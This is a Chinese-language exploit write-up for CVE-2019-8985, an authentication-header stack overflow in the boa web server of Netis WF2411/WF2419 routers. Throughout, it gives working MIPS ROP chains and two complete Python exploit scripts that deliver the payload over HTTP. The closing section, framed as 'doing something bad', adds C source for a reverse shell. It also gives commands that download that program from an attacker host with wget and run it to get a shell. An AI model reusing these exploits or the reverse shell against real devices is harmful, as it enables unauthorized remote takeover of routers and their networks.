CVE–2019–8985 Netis WF2411 RCE detail

# 环境搭建

固件获取 WF2419
Fetching Title#sw0w
选择 WF2419(2.2.36123)

先逆向分析 boa
漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
loc_4145D8:              # s
addiu $a0, $sp, 0x60+var_40
li $a1, 0x420000
nop
addiu $a1, (aSS_0 - 0x420000) # "%s:%s"
move $a2, $s0
move $a3, $s4
la $t9, sprintf
nop
jalr $t9 ; sprintf
nop
lw $gp, 0x60+var_48($sp)
nop
li $s3, 0x460000
nop
addiu $s3, (byte_4596D0 - 0x460000)
lbu $v0, 0x60+var_40($sp)
nop
addiu $s2, $v0, -0x3A
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __fastcall user_ok(const char *a1, const char *a2)
{
int v4; // $s1
int result; // $v0
int v6; // $s2
int v7; // $v0
const char *v8; // $s0
bool v9; // dc
char v10[64]; // [sp+20h] [-40h] BYREF

memset(v10, 0, sizeof(v10));
v4 = 0;
if ( get_password(64) >= 0 )
{
sprintf(v10, "%s:%s", a1, a2);
v6 = (unsigned __int8)v10[0] - 58;
while ( 1 )
{
v7 = v4 << 6;
if ( byte_4596D0[64 * v4] == 58 && !v6 )
break;
v8 = &byte_4596D0[v7];
if ( strlen(&byte_4596D0[v7]) >= 2 )
{
v9 = strcmp(v10, v8) == 0;
result = 1;
if ( v9 )
return result;
}
if ( ++v4 > 0 )
{
fprintf(stderr, "check password error,log_passwd=%s;passwd=%s\n", a2, byte_4596D0);
return 0;
}
}
return 1;
}
else
{
fprintf(stderr, "%s:%s:%d;get password error!\n", "htauth.c", "user_ok", 74);
return 1;
}
}

启动 boa 的时候可以检查下配置文件

1
2
3
4
5
6
7
8
9
➜  sqrootfs file bin/busybox         
bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
➜ sqrootfs cp $(which qemu-mips) .
➜ sqrootfs grep -r "boa -" .
./bin/webs: /bin/boa -p /web -f /etc/boa.conf &
grep: ./var/run/webs.pid: Permission denied
➜ sqrootfs sudo chroot . ./qemu-mips /bin/boa -p /web -f /etc/boa.conf
[sudo] password for squ:
Starting Protocol Module: HTTP Server ... OK

如果出现不能缺失 /dev/null 的问题
可以 sudo mknod -m 666 dev/null c 1 3
如果出现 can't create PID file
可以 md var/run

然后可以打个 PoC 试试看

1
wget --http-user=a --http-password=$(python -c 'print "a"*0x80') http://127.0.0.1

可以看到报错信息如下

1
2
3
4
translate_uri:222;Wget/1.19.4 (linux-gnu)
translate_uri:254
translate_uri:256
htauth.c:user_auth:181;get password error!

✨TODO

逆向一下可以发现要打开一个 passwd

1
v2 = fopen("/tmp/passwd", "r+");

cp 本地的过去

1
cp /etc/passwd ./tmp

在 wget 一下 可以看到崩溃

1
2
3
4
check password error,log_passwd=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;passwd=root:x:0:0:root:/root:/bin/bash
caught SIGSEGV, dumping core in /var/boa
qemu: uncaught target signal 6 (Aborted) - core dumped
[1] 49014 abort sudo chroot . ./qemu-mips /bin/boa -p /web -f /etc/boa.conf

# 漏洞分析

rasp + 0x14
bufsp - 0x40
也就是 0x54 的 offs
同时我们也需要控制五个寄存器 s0 ~ s5 这五个调用者保存寄存器
这些寄存器主要是为了劫持返回地址 因为会有 sx 传递给 ax
然后 jalr ax 的 gadget

1
2
3
4
5
6
7
8
.text:004146DC                 lw      $ra, 0x60+var_s14($sp)
.text:004146E0 lw $s4, 0x60+var_s10($sp)
.text:004146E4 lw $s3, 0x60+var_sC($sp)
.text:004146E8 lw $s2, 0x60+var_s8($sp)
.text:004146EC lw $s1, 0x60+var_s4($sp)
.text:004146F0 lw $s0, 0x60+var_s0($sp)
.text:004146F4 jr $ra
.text:004146F8 addiu $sp, 0x78

sprintf 的逆向语句如下

1
sprintf(dest, "%s:%s", username, password);

boa has two loaded libraries, libC and libgcc .

审视一波 libc.so.0

1
2
3
4
5
6
7
8
9
10
11
12
Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x000068AC | addiu $a0,$sp,0x20+var_8 | jalr $v0 |
| 0x0000711C | addiu $a0,$sp,0x1A0+var_188 | jalr $v0 |
| 0x000074BC | addiu $a0,$sp,0x1A0+var_188 | jalr $v0 |
| 0x00020660 | addiu $a0,$sp,0x30+var_18 | jalr $a0 |
| 0x000071E4 | addiu $a1,$sp,0x20+var_8 | jr 0x20+var_s0($sp) |
| 0x00008AD4 | addiu $a1,$sp,0x20+var_8 | jr 0x20+var_s0($sp) |
| 0x0000A3CC | addiu $a2,$sp,0x40+var_28 | jr 0x40+var_sC($sp) |
| 0x000125E0 | addiu $a2,$sp,0x18+arg_8 | jr 0x18+var_s0($sp) |

没有可用的 gadget
再到 libgcc 中找 第二列有 a0 第三列有 s0 ~ s4 就行
找到这个 也就是要确保

  • binsh 地址在 sp + 0x18 (但这个是在执行了 addiu $sp, 0x78 之后的)
  • 而 system 在 s3 (sp + 0xc)
  • ra 在 sp +0x14
1
2
3
4
5
6
.text:0000ABD0                 addiu   $a0, $sp, 0x20+var_8
.text:0000ABD4 move $a1, $s2
.text:0000ABD8 move $s0, $zero
.text:0000ABDC move $t9, $s3
.text:0000ABE0 jalr $t9
.text:0000ABE4 movz $s0, $v0, $v1

在 qemu 内模拟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x419000 r-xp 19000 0 /bin/boa
0x459000 0x45a000 rw-p 1000 19000 /bin/boa
0x45a000 0x466000 rwxp c000 0 [heap]
0x77ee2000 0x77eee000 r-xp c000 0 /lib/libgcc_s_4181.so.1
0x77eee000 0x77f2d000 ---p 3f000 0 [anon_77eee]
0x77f2d000 0x77f2e000 rw-p 1000 b000 /lib/libgcc_s_4181.so.1
0x77f2e000 0x77f6c000 r-xp 3e000 0 /lib/libc.so.0
0x77f6c000 0x77fac000 ---p 40000 0 [anon_77f6c]
0x77fac000 0x77fad000 rw-p 1000 3e000 /lib/libc.so.0
0x77fad000 0x77fb1000 rw-p 4000 0 [anon_77fad]
0x77fb1000 0x77fb7000 r-xp 6000 0 /lib/ld-uClibc.so.0
0x77ff5000 0x77ff6000 rw-p 1000 0 [anon_77ff5]
0x77ff6000 0x77ff7000 r--p 1000 5000 /lib/ld-uClibc.so.0
0x77ff7000 0x77ff8000 rw-p 1000 6000 /lib/ld-uClibc.so.0
0x7f9ee000 0x7fff7000 rwxp 609000 0 [stack]
0x7fff7000 0x7fff8000 r-xp 1000 0 [vdso]

gdb 定位到地址

可以看到由于 boa 的限制 ✨TODO
我们只溢出了 17 个 cmd 的字节命令
而 cmd 需要放在 0x40800368 的位置 也就是 esp + 0x18 0x40800350 + 0x18

从这一段可以看出

1
2
3
4
5
6
7
► 0x4146dc <user_ok+460>    lw     $ra, 0x74($sp)                <0x4146cc>
0x4146e0 <user_ok+464> lw $s4, 0x70($sp)
0x4146e4 <user_ok+468> lw $s3, 0x6c($sp)
0x4146e8 <user_ok+472> lw $s2, 0x68($sp)
0x4146ec <user_ok+476> lw $s1, 0x64($sp)
0x4146f0 <user_ok+480> lw $s0, 0x60($sp)
0x4146f4 <user_ok+484> jr $ra

ra 在 sp + 0x74 的位置
而 jr 之前会做一次 .text:004146F8 addiu $sp, 0x78
而 gadget 里的 cmd 地址是 addiu $a0, $sp, 0x20+var_8
也就是放在 ra 上 0x78 - 0x74 + 0x18 = 0x1c 的位置

exp 如下
s3 的位置是 sp + 0x6c 溢出点离 s0 是 0x40
所以溢出点离 s3 是 0x4c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import socket
from pwn import *
import struct
import base64

libc = 0x77f2e000
libgcc = 0x77ee2000
gadget = 0x0000ABD0 + libgcc
system = 0x0002AC90 + libc
MAXSZ = 1024
# cmd = b"FUCK" * 50 # 看看长度
cmd = b"mkdir hack"
context(arch = "mips", endian = "big", os = "Linux", log_level = "DEBUG")
# fork 0x77f34d30
def exp():
print(f"[+] gadget is {hex(gadget)}")
print(f"[+] system is {hex(system)}")
payload = b'a:%s' %(b'A' * (0x4C - 2)) # padding + s0~s2
payload += p32(system) # s3 <- esp + 0x0c
payload += b'AAAA' # s4
payload += p32(gadget) # ra <- esp + 0x14
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += cmd # <- esp + 0x30

header = b'GET / HTTP/1.1\r\n'
# header += b'Host: 127.0.0.1:80\r\n'
header += b'Host: 10.10.10.1:80\r\n'
header += b'Authorization: Basic %s\r\n' % base64.b64encode(payload)
header += b'User-Agent: Real UserAgent\r\n\r\n'


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
iport = ("10.10.10.1" ,80)
# iport = ("127.0.0.1" ,80)
s.connect(iport)
s.send(header)
msg = s.recv(MAXSZ)
print("[+] Message is %s" %(msg))
s.close()

if __name__ == '__main__':
exp()

gdb 调试脚本

1
2
3
4
5
set arch mips
set endian big
set solib-search-path sqrootfs/lib/
b *0x4146f4
target remote 10.10.10.1:8888

程序是 chroot 到 /web 页面下了 所以 mkdir 是在 web 下

17 个字节的溢出是很难造成反向 shell 的 也就只能造成一次 17 字节的任意命令执行
重新考虑 rop

# 更好的 ROP

目标 让最后的 a0 尽可能的接近 sp 的位置
已知在 vuln 函数最后 jalr ra 之后 sp 是在 ra 上 4 字节

# gadget2

从 ra 开始到 cmd 结束 有 40 个字节的空区
要充分利用这 40 字节 就需要降低 esp
在 libc 中找到此 gadget
sp - 0x38 + 0x30 - 0x18 = sp - 0x20 的值给 a0 寄存器
然后跳到 先前的 a0 里面去
但是有个问题 sp-0x20 是在 saved 寄存器存放的地方 肯定是很难布置过长的 cmd
而且 a0 不可控 我们需要让 a0 可控

1
2
3
4
5
6
7
8
.text:00020650                 addiu   $sp, -0x38
.text:00020654 sw $ra, 0x30+var_s0($sp)
.text:00020658 sw $gp, 0x30+var_20($sp)
.text:0002065C li $v0, 2
.text:00020660 move $t9, $a0
.text:00020664 sw $v0, 0x30+var_18($sp)
.text:00020668 jalr $t9
.text:0002066C addiu $a0, $sp, 0x30+var_18

# gadget1

而这个 gadget 依靠 a0 进行跳转 我们需要控制 a0
libgcc 中
我们可以控制 a0 也可以控制跳转地址

1
2
3
.text:00008B20                 move    $t9, $s4
.text:00008B24 jalr $t9 ; sub_8770
.text:00008B28 move $a0, $s0

# gadget3

同时 栈下去了 影响到我们的 s 寄存器列了 需要抬上来
之前 sp 减去了 0x38 那么这里 + 上 0x1c 的地方可以布置下一个 rop 并把 sp 加上来

1
2
3
4
.init:000017A4                 lw      $ra, 0x1C+var_s0($sp)
.init:000017A8 nop
.init:000017AC jr $ra
.init:000017B0 addiu $sp, 0x20

# gadget4

最后 通过 sp 加上 0x18 的位置将 sp 回复到之前的 sp 一样的地址 并 jalr 到 s3

1
2
3
4
5
6
.text:0000ABD0                 addiu   $a0, $sp, 0x20+var_8
.text:0000ABD4 move $a1, $s2
.text:0000ABD8 move $s0, $zero
.text:0000ABDC move $t9, $s3
.text:0000ABE0 jalr $t9
.text:0000ABE4 movz $s0, $v0, $v1

# 流程图

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import socket
from pwn import *
import base64
context(arch = "mips", endian = "big", os = "Linux", log_level = "DEBUG")

libc = 0x77f2e000
libgcc = 0x77ee2000
system = 0x0002AC90 + libc
gadgets = [0 ,0x00008B20 ,0x00020650 ,0x000017A4 ,0x0000ABD0]
MAXSZ = 1024
cmd = b"echo 'hacked' > CrimeStatement"

def exp():
rop = list(map(lambda x: x + libgcc,gadgets))
rop[2] = rop[2] - libgcc + libc
for i in range(1,5):
print(f"[+] rop[{i}] is {hex(rop[i])}")
print(f"[+] system is {hex(system)}")

payload = b'a:%s' %(b'A' * (0x3C - 2))
payload += p32(rop[4]) #
payload += p32(rop[3]) # s0
payload += b'AAAA' # s1
payload += b'CCCC' # s2
payload += p32(system) # s3
payload += p32(rop[2]) # s4
payload += p32(rop[1]) # ra
payload += cmd

header = b'GET / HTTP/1.1\r\n'
# header += b'Host: 127.0.0.1:80\r\n'
header += b'Host: 10.10.10.1:80\r\n'
header += b'Authorization: Basic %s\r\n' % base64.b64encode(payload)
header += b'User-Agent: Real UserAgent\r\n\r\n'


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
iport = ("10.10.10.1" ,80)
# iport = ("127.0.0.1" ,80)
s.connect(iport)
s.send(header)
msg = s.recv(MAXSZ)
print("[+] Message is %s" %(msg))
s.close()

if __name__ == '__main__':
exp()

# 做点坏事

既然都拿下了这么长的 cmd
那么不做点坏事也说不过去
busybox 中没有 nc 也没有 bash -i 之类的东西给我们做反向 shell

但是有 wget 下载恶意程序并运行

编写恶意程序 malware (✨TODO 修改参数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <netinet/in.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <unistd.h>
int main(int argc, char **argv){
int port = atoi(argv[2]);
char* ip = argv[1];
int sd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sin = {
.sin_family = AF_INET,
.sin_port = htons(port),
.sin_addr.s_addr = inet_addr(ip),
};
connect(sd, (struct sockaddr *)&sin, sizeof(sin));
for(int _ = 0; _ <= 2; _++)
dup2(sd, _);
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
1
mips-linux-gnu-gcc -static -mabi=32 -o malware malware.c

我们需要利用两次漏洞 一次让 malware 可执行 一次让其跑起来(因为长度不够 没法一次性解决)

1
2
3
wget http://10.10.10.2:8000/malware
chmod +x malware
./malware 10.10.10.2 9999

攻击机开启监听
效果如下 成功 getshell

# 未完

1
2
3
4
5
6
7
8
9
➜  squrootfs grep -r "Authorization: Basic " .
Binary file ./bin/updatedd matches
Binary file ./bin/busybox matches
grep: ./var/run/webs.pid: Permission denied
➜ squrootfs grep -r "User-Agent: Real UserAgent" .
grep: ./var/run/webs.pid: Permission denied
➜ squrootfs grep -r "User-Agent: " .
Binary file ./bin/updatedd matches
Binary file ./bin/busybox matches